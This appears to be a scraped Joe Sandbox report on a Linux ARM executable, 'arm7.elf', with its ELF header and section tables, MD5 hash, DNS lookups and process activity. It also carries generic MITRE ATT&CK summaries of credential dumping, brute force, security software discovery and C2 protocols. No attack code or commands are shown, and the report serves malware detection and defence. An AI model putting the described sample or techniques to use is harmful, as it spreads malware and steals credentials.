File Content Preview:	.ELF..............(.........4...........4. ...(.........@...@2..@2..................................X...X...............X...X...X...8....s..............\...\...\.........................................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	112388
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x18418	0x0	0x6	AX	0	16
.fini	PROGBITS	0x20508	0x18508	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x20518	0x18518	0x2d10	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x23228	0x1b228	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x23240	0x1b240	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x2b358	0x1b358	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x2b35c	0x1b35c	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x2b35c	0x1b35c	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2b360	0x1b360	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2b368	0x1b368	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x2b410	0x1b410	0x280	0x0	0x3	WA	0	4
.bss	NOBITS	0x2b690	0x1b690	0x7098	0x0	0x3	WA	0	4
.shstrtab	STRTAB	0x0	0x1b690	0x73	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
DYNAMIC	0x1b240	0x23240	0x23240	0x118	0x118	4.4374	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1b358	0x1b358	6.2039	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1b358	0x2b358	0x2b358	0x338	0x73d0	4.1048	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .got .data .bss
DYNAMIC	0x1b35c	0x2b35c	0x2b35c	0x0	0x8	0.0000	0x4	R	0x4
DYNAMIC	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 11:52:41.944199085 CEST	41097	53	192.168.2.13	1.1.1.1
Apr 2, 2025 11:52:41.944276094 CEST	52266	53	192.168.2.13	1.1.1.1
Apr 2, 2025 11:52:46.949618101 CEST	48095	53	192.168.2.13	8.8.8.8
Apr 2, 2025 11:52:46.949659109 CEST	41097	53	192.168.2.13	1.1.1.1
Apr 2, 2025 11:52:47.040535927 CEST	53	48095	8.8.8.8	192.168.2.13
Apr 2, 2025 11:52:47.049206018 CEST	53	41097	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2025 11:52:41.944199085 CEST	192.168.2.13	1.1.1.1	0x2ebc	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:52:41.944276094 CEST	192.168.2.13	1.1.1.1	0xefa4	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Apr 2, 2025 11:52:46.949618101 CEST	192.168.2.13	8.8.8.8	0xefa4	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Apr 2, 2025 11:52:46.949659109 CEST	192.168.2.13	1.1.1.1	0x2ebc	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2025 11:52:47.049206018 CEST	1.1.1.1	192.168.2.13	0x2ebc	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:52:47.049206018 CEST	1.1.1.1	192.168.2.13	0x2ebc	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm7.elf PID: 5431, Parent PID: 5355

General

Start time (UTC):	09:52:36
Start date (UTC):	02/04/2025
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: arm7.elf PID: 5433, Parent PID: 5431

General

Start time (UTC):	09:52:39
Start date (UTC):	02/04/2025
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.ReSU4P (deleted)

/tmp/qemu-open.nlQSXP (deleted)

/tmp/qemu-open.uUeDBQ (deleted)

/tmp/qemu-open.ueuewR (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm7.elf PID: 5431, Parent PID: 5355

General

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Linux Analysis Report
arm7.elf